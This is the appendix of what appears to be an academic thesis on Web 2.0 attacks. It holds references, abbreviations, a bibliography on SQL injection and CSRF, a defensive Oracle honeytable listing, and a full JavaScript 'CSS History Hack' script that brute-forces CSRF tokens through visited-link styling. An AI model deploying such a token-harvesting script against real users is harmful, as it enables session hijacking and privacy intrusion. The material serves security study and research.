    • A Appendix: References and abbreviations[L30] MySQL SQL Injection Cheat Sheet , http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/[L31] Software testing, http://en.wikipedia.org/wiki/Software_testing[L32] What is Dynamic Code Analysis? http://stackoverflow.com/questions/49937/what-is-dynamic-code-analysis[L33] What is static code analysis? http://stackoverflow.com/questions/49716/what-is-static-code-analysis[L34] Jeremiah Grossman, founder and Chief Technology Officer of WhiteHat Security , http://www.whitehatsec.com/home/index.html[L35] Technical explanation of The MySpace Worm, http://namb.la/popular/tech.html[L36] Petko D. Petkov, Google GMail E-mail Hijack Technique, http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/[L37] Chris Shiflett, My Amazon Anniversary, http://shiflett.org/blog/2007/mar/my-amazon-anniversary[L38] Ronen Zilberman, Facebook CSRF attack - Full Disclosure, http://blog.quaji.com/2009/08/facebook-csrf-attack-full-disclosure.html[L39] MonkeyFist Launches Dynamic CSRF Web Attacks , http://www.darkreading.com/insiderthreat/security/client/showArticle.jhtml?art- icleID=218900214[L40] Patrik Karlsson, SQL Injection and Out-of-Band Channeling: http://www.crackerjax.org/index.php/defcon/54-defcon-15/112-sql-injec- tion-and-out-of-band-channeling[L41] Christian Bockermann, Martin Apel, Michael Meier Learning SQL for Database Intrusion Detection using Context-Sensitive Model- ling (Re-submission) http://lwa09.informatik.tu-darmstadt.de/pub/KDML/WebHome/kdml09_C.Bock- ermann_et_al.pdf[L42] mustlive@websecurity.com.ua [WEB SECURITY] DoS attacks via captchas ( full disclosure only in Ukrainian, please do consider to e-mail the author) http://www.webappsec.org/lists/websecurity/archive/2010-03/msg00083.html III
    • A Appendix: References and abbreviations[L43] MOPS-2010-004: ClanSphere Captcha Generator Blind SQL Injection Vulnerability http://php-security.org/2010/05/03/mops-2010-004-clansphere-captcha-generator- blind-sql-injection-vulnerability/index.html[L44] ClanSphere the captcha generator and MySQL driver SQL injection clansphere-captcha-sql-injection (58311) http://xforce.iss.net/xforce/xfdb/58311[L45] Ferruh Mavituna, DOS ATTACKS USING SQL WILDCARDS http://www.portcullis-security.com/uplds/wildcard_attacks.pdf[L46] Joe McCray, Advanced SQL Injection - LayerOne 2009 http://www.youtube.com/watch?v=WkHkryIoLD0[L47] How can you help protect your web forms from CSRF? http://www.rodsdot.com/php/CSRF_Form_Protection.php[L48] How to add CSRF anti-spoofing to forms, http://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms[L49] OWASP CSRFGuard Project, http://www.owasp.org/index.php/Category:OWASP_CSRFGuard_Project[L50] Hardening Enterprise Apache Installations Against Attacks, http://people.apache.org/~sctemme/ApconUS2008/hardening.pdf[L51] OWASP, PHP Top 5, http://www.owasp.org/index.php/PHP_Top_5 IV
    • A Appendix: References and abbreviationsA.2. AbbreviationsAMF Action Message FormatDaaS Desktop as a ServiceDBA Database AdministratorJSON Java Object NotationMS WACA Microsoft® Web Application Configuration Analysis toolMS WPL Microsoft® Web Protection LibraryMS CAT.NET Microsoft® Code Analysis Tool. NETNIST National Institute Of Standards And TechnologyOWASP Open Web Application Security ProjectRIA Rich Internet ApplicationsSaaS Software as a Service- patternSDLC Software Development Life CycleSOA Service Oriented ArchitectureSOAP Simple Object Access ProtocolSQLIA SQL Injection AttacksSSJS Server Side JavaScriptSSO Single Sign ONVPD Virtual Private DatabaseWASC Web Application Security ConsortiumWHID Web Application Security Consortium projectXSS Cross Site Scripting V
    • B. Appendix: Source listingsB. Appendix: Source listingsB.1. Oracle- VPD81- Honey table- implementation,Alexander Kornbrust [L16]set serveroutput on-- Create a table containing the error messagescreate table orahoney (id NUMBER,log_date DATE,os_user varchar2(255),current_user varchar2(30),host varchar2(255),terminal varchar2(255),log_user VARCHAR2(30),client_ip VARCHAR2(50),serial# number,sid number,scn number);-- create table for saving the information about sent emailscreate table alert_honey(oraerror_id number,alert_user varchar2(30),log_date date);-- Create a sequence with unique numbers create sequence orahoney_seqstart with 1increment by 1minvalue 1nomaxvaluenocachenocycle;81http://www.stanford.edu/dept/itss/docs/oracle/10g/network.101/b10773/apdvpoli.htmhttp://www.oracle.com/technology/obe/obe10gdb/security/vpd/vpd.htm VII
    • B. Appendix: Source listings-- create a honeytablecreate table honeytable (username varchar2(30), password varchar2(30));-- fill honeypot with datainsert into honeytable values (WEBUSER,WEBUSER01);insert into honeytable values (WEBADM,ADMADM01);insert into honeytable values (WEBREAD,READUSER01);commit;-- create a predicate function with 2 parameter (pv_schema and pv_object)-- this is an Oracle requirementcreate or replace function perfcheck (pv_schema in varchar2, pv_object invarchar2)return varchar2 as begin -- Someone is accessing this table, comment out dbms_output in production dbms_output.put_line(Sending email to security department...); -- insert code for sending an email -- <<mail_code>> -- insert alert into table insert into honeytable values (orahoney_seq.nextval,sysdate,sys_context(USERENV,OS_USER),sys_context(USERENV,CURRENT_USER),sys_context(USERENV,HOST),sys_context(USERENV,TERMINAL), null,null,0,sys_context(USERENV,SID),null); -- return always true. Attacker will see all results return 1=1;end;/-- now we activate VPDexec dbms_rls.add_policy(object_schema => JH, object_name => HONEYTABLE,policy_name => PERFCHECK, policy_function => PERFCHECK); VIII
    • B. Appendix: Source listingsB.2. Hacking CSRF tokens using CSS History Hack-implementation, Jeremiah Grossman[L34]<html><body><h1> Hacking CSRF tokens using CSS History Hack </h1><h2> A nice long story ....... <h2><h3> A nice long story ...... <h3><h4> A nice long story ..... <h4><h5> A nice long story .... <h5><br/><h2>Possibly active CSRF tokens</h2><ul id="visited"></ul><script>/* --------------------------------------------------------------------------------------- Hacking CSRF Tokens using CSS History Hack By Inferno {at} SecureThoughts.com --------------------------------------------------------------------------------------- --------------------------------------------------------------------------------------- Original CSS History Hack found by Jeremiah Grossman --------------------------------------------------------------------------------------- NAME: JavaScript History Thief AUTHOR: Jeremiah Grossman BSD LICENSE: Copyright (c) 2006, WhiteHat Security, Inc. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the WhiteHat Security nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE -------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------- Using some code snippets from Christian Heilmanns cross domain version of CSS History Hack http://icant.co.uk/sandbox/nickhistory.html --------------------------------------------------------------------------------------*/ IX
    • B. Appendix: Source listingsvar csrfpar=csrftoken;var url=http://securethoughts.com/?param1=val1&+csrfpar+=;var base=16;var start=655360; // = a0000 in base16, first character alphabet requirementvar end=1048576; // = 16^5var step=100;var t1=new Date();var lb = document.createElement(a);document.body.appendChild(lb);lb.innerHTML=Scanning ...;//document.write( <style type="text/css">#nicked a:link{color:#fff;} );document.write( #nickeda:visited{height:1px;width:1px;display:block;overflow:hidden;margin:1px;} );document.write( #nicked{font-size:1px;overflow:hidden;height:1px;margin:0;padding:0;}</style> );var c = document.createElement(div);c.id=nicked;document.body.appendChild(c);//function exec(st){ if(st >= end) { var t2=new Date(); lb.innerHTML=Completed.; alert(Scan completed in +(t2-t1)/1000+ seconds); return; } //lb.innerHTML=Scanning token: +st.toString(base); for(var j=st;j<=((st+step)>end?end:(st+step));j++){ var ma=document.createElement(a); ma.href=ma.innerHTML=url+j.toString(base); c.appendChild(ma); if(ma.offsetHeight==1) { var vst = document.createElement(li); var loc = ma.href.indexOf(csrfpar)+csrfpar.length+1; vst.innerHTML=ma.href.substring(loc); document.getElementById(visited).appendChild(vst); X
    • B. Appendix: Source listings } c.removeChild(ma); } setTimeout("exec("+(st+step)+")",1); //Need to pass control to program from time to time, toprevent hanging.}exec(start);</script></body></html> XI
    • C. Appendix: Additional informationC. Appendix: Additional informationC.1. Classification of the Web 2.0 attacking vectors( OWASP)Historical overview of OWASP Top 10 attacking vector candidates, orOWASP report 2010 RC1 compared to the previous one, OWASP Top 10- 2007 Figure 6: OWASP Top 10 - 2010 vs. OWASP Top 10 - 2007, [20] XII
    • C. Appendix: Additional informationC.2. Injection Flaws OWASP Top 10 2010 RC1 general view Figure 7: Injection Flaws- general view, OWASP Top 10 2010, [20]C.3. CSRF OWASP Top 10 2010 RC1 general view Figure 8: CSRF- general view , OWASP Top 10 2010, [20] XIII
    • BibliographyBibliography1: Ferruh Mavituna, Insecure Trends in Web 2.0, English http://ferruh.mavituna.com/nsecure-trends-in-web-20-oku/ , 2008 ,2: Ferruh Mavituna, Insecure Trends in Web 2.0 Applications, English http://labs.portcullis.co.uk/download/Insecure-Web-20-Trends.pps , 2008 ,3: Danny Allen, Understanding the TopWeb 2.0 Attack Vectors, English http://braxtonehle.com/classProj/info343/final/moreInfo/files/ibmAttackVectors.pdf , 20084: Stefan Nitzsche, Usability 2.0 , Heuristiken und Konventionen, Deutsch http://download.galileo-press.de/tech_talks/usability/start.html , 20075: W3C, World Wide Web Consortium (W3C), English http://www.w3.org/ ,6: Wikipedia, Web standards, English http://en.wikipedia.org/wiki/Web_standards ,7: Wikipedia, Web service, English http://en.wikipedia.org/wiki/Web_service ,8: W3C, A Little History of the World Wide Web, English http://www.w3.org/History.html,1994, 1995 ,9: W3C, How It All Started, English http://www.w3.org/2004/Talks/w3c10-HowItAllStarted/?n=0, 2004 ,10: Tim OReilly, What Is Web 2.0 , Design Patterns and Business Models for the Next Generationof Software, English http://oreilly.com/lpt/a/6228 , 200511: Duane Nickull, Web 2.0 Design Patterns, Models and Analysis, English http://www.adobe.com/devnet/livecycle/articles/web20_slides.html , 200813: Duane Nickull, Web 2.0. Architectures, English , 2009 , 978-059651443314: SANS, The Top Cyber Security Risks , Vulnerability Exploitation Trends, English http://www.sans.org/top-cyber-security-risks/#trends , 200915: net-security.org, 19% of online attacks in 2009 targeted social networking sites, English http://www.net-security.org/secworld.php?id=7882 , 200916: net-security.org, Security trends coming in 2010, English http://www.net-security.org/secworld.php?id=8574 , 200917: Shreeraj Shah, Top 10 Web 2.0 Attack Vectors, English http://www.net-security.org/article.php?id=949 , 2006 XV
    • Bibliography18: John Leyden, Adobe Flash attack vector exploits insecure web design, English http://www.theregister.co.uk/2009/11/13/adobe_flash_wallop/ , 200919: Shreeraj Shah, CSRF attack vector with Ajax serialization, English http://searchsoftwarequality.techtarget.com/tip/0,289483,sid92_gci1235537,00.html , 200620: OWASP, OWASP Top 10 - 2010 Release Candidate, English http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010.pdf , 201021: Secure Enterprise 2.0 Forum, Q1 2009 Web 2.0 Hacking Security Report, English http://www.secure-enterprise20.org/files/Web%202%200%20Hacking%20Q1.pdf , 200922: Breach Security, The Web Hacking Incidents Database 2009: Bi-Annual Report, English http://www.breach.com/resources/whitepapers/2009WHID.html , 200923: Breach Security, Top Web Incidents and Trends of 2009 and Predictions for 2010, English http://www.breach.com/resources/whitepapers/top-web-incidents-2009.html , 200924: WASC, The WASC Threat Classification v2.0, English http://projects.webappsec.org/Threat-Classification , 201025: rain.forest.puppy, NT Web Technology Vulnerabilities, English http://www.phrack.org/issues.html?id=8&issue=54 , 199826: Alexander Kornbrust, SQL Injection, English http://www.red-database-security.com/wp/bochum2009_advanced_sql_injection.pdf , 200927: William G.J. Halfond, Jeremy Viegas, Alessandro Orso, A Classification of SQLInjectionAttack Techniques andCountermeasures, English http://www.cc.gatech.edu/~orso/papers/halfond.viegas.orso.ISSSE06.presentation.pdf , 200628: Mario Heiderich et al., Sichere Webanwendungen, Deutsch , 2009 , 978-383621194929: Dmitry Evteev, Advanced SQL Injection, English http://www.ptsecurity.com/download/PT-devteev-Advanced-SQL-Injection-ENG.zip , 200930: SANS, Web based Attacks, English http://www.sans.org/reading_room/whitepapers/application/web_based_attacks_2053 ,200731: W3C, HTTP - Hypertext Transfer Protocol, English http://www.w3.org/Protocols/ ,200932: Guenter Ollmann, Second Order Code Injection Attacks, English http://www.ngsconsulting.com/papers/SecondOrderCodeInjection.pdf , 200433: Rafal M. Los, Sans Feb 2010 - When Web 2 0 Attacks v3.3, English http://www.slideshare.net/RafalLos/sans-feb-2010-when-web-2-0-attacks-v33 , 2010 XVI
    • Bibliography34: William G.J. Halfond et al., A Classification of SQL Injection Attacksand Countermeasures,English http://www.cc.gatech.edu/~orso/papers/halfond.viegas.orso.ISSSE06.pdf ,200635: Simon Kokerbeck, SQL Injektions Attacken bedrohen das Web.Wie funktionieren sie, und wiekann man sie verhindern?, Deutsch http://www14.in.tum.de/personen/scheideler/lectures/4-Kokerbeck.pdf , http://www.cs.uni-paderborn.de/?id=9607 ,36: David Litchfield, SQL Injection and Data Mining through Inference ( presentation), English http://www.blackhat.com/presentations/bh-europe-05/bh-eu-05-litchfield.pdf , 200537: David Litchfield, SQL Injection and Data Mining through Inference, English http://www.ngssoftware.com/papers/sqlinference.pdf , 200540: Patrik Karlsson, SQL Injection and Out-of-Band Channeling, English http://www.inspectit.se/dc15/Defcon_15_Presentation_Web.pdf , 200738: Dmitry Evteev, (non) blind SQL Injection, English http://ptresearch.blogspot.com/2009_12_01_archive.html , 200939: Dmitry Evteev, METHODS OF QUICK EXPLOITATION OF BLIND SQL INJECTION,English http://www.ptsecurity.com/download/PT-devteev-FAST-blind-SQL-Injection.pdf , 201041: Ferruh Mavituna, Deep Blind SQL Injection, English https://labs.portcullis.co.uk/download/Deep_Blind_SQL_Injection.pdf , 200842: darknet.org.uk, BSQL Hacker – Automated SQL Injection Framework, English http://www.darknet.org.uk/2008/09/bsql-hacker-automated-sql-injection-framework/ , 200843: Johannes B. Ullrich Ph.D., SQL Injection: More of the same, English http://isc.sans.org/diary.html?storyid=4565 , 200844: Jeremiah Grossman, SQL Injection, eye of the storm, English http://jeremiahgrossman.blogspot.com/2009/02/sql-injection-eye-of-storm.html , 200945: OWASP, SQL Injection Prevention Cheat Sheet, English http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet ,46: Frank S. Rietta, Application layer intrusion detection for SQL injection, English http://portal.acm.org/citation.cfm?id=1185448.1185564 , 200647: Dmitri Evteev, Methods to Bypass a Web Application Firewall, http://www.ptsecurity.com/download/PT-devteev-CC-WAF-ENG.pdf , 200948: Norm Hardy, The Confused Deputy, http://cap-lore.com/CapTheory/ConfusedDeputy.html , XVII
    • Bibliography49: Thomas Schreiber, Session Riding, http://www.securenet.de/fileadmin/papers/IT-S_praxis_5_06_SecureNet.pdf , 200650: Albert Lauchner , CSRF-Attacke aus dem Web , Millionen DSL-Router hochgradig gefährdet,http://www.tecchannel.de/webtechnik/webserver/1993878/csrf_attacke_auf_dsl_router_und_web_anwendungen/ , 200951: Robert Auger, The Cross-Site Request Forgery (CSRF/XSRF) FAQ , http://www.cgisecurity.com/csrf-faq.html , 200852: Jeremiah Grossman, CSRF, the sleeping giant, http://jeremiahgrossman.blogspot.com/2006/09/csrf-sleeping-giant.html , 200653: Adam Barth et al., Robust Defenses for Cross-Site Request Forgery, http://www.adambarth.com/papers/2008/barth-jackson-mitchell-b.pdf , 200854: Jesse Burns, Cross Site Request Forgery, An introduction to a common web applicationweakness, https://www.isecpartners.com/files/CSRF_Paper.pdf , 200755: Zeller et al., Cross-Site Request Forgeries: Exploitation and Prevention, http://from.bz/public/documents/publications/csrf.pdf , 200856: Jeremiah Grossman, Cross-Site Request Forgery "The sleeping giant", http://www.whitehatsec.com/home/assets/presentations/CSRF072407pres.pdf , 200757: Shawn Moyer, Dynamic Cross-Site RequestForgery , A Per-Request Approach to SessionRiding, http://www.blackhat.com/presentations/bh-usa-09/HAMIEL/BHUSA09-Hamiel-DynamicCSRF-PAPER.pdf , 200958: Nytro, Using XSS to bypass CSRF protection,http://www.packetstormsecurity.org/papers/attack/Using_XSS_to_bypass_CSRF_protection.pdf ,200959: Larry Suto, Analyzing the Effectiveness and Coverage of Web ApplicationSecurity Scanners, http://www.ntobjectives.com/files/CoverageOfWebAppScanners.pdf , 200760: OWASP, Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet, http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet ,61: Martin Johns and Justus Winter, RequestRodeo: Client Side Protection against Session Riding, http://www.informatik.uni-hamburg.de/SVS/archiv/papers/2006_owasp_RequestRodeo.pdf , 2006 XVIII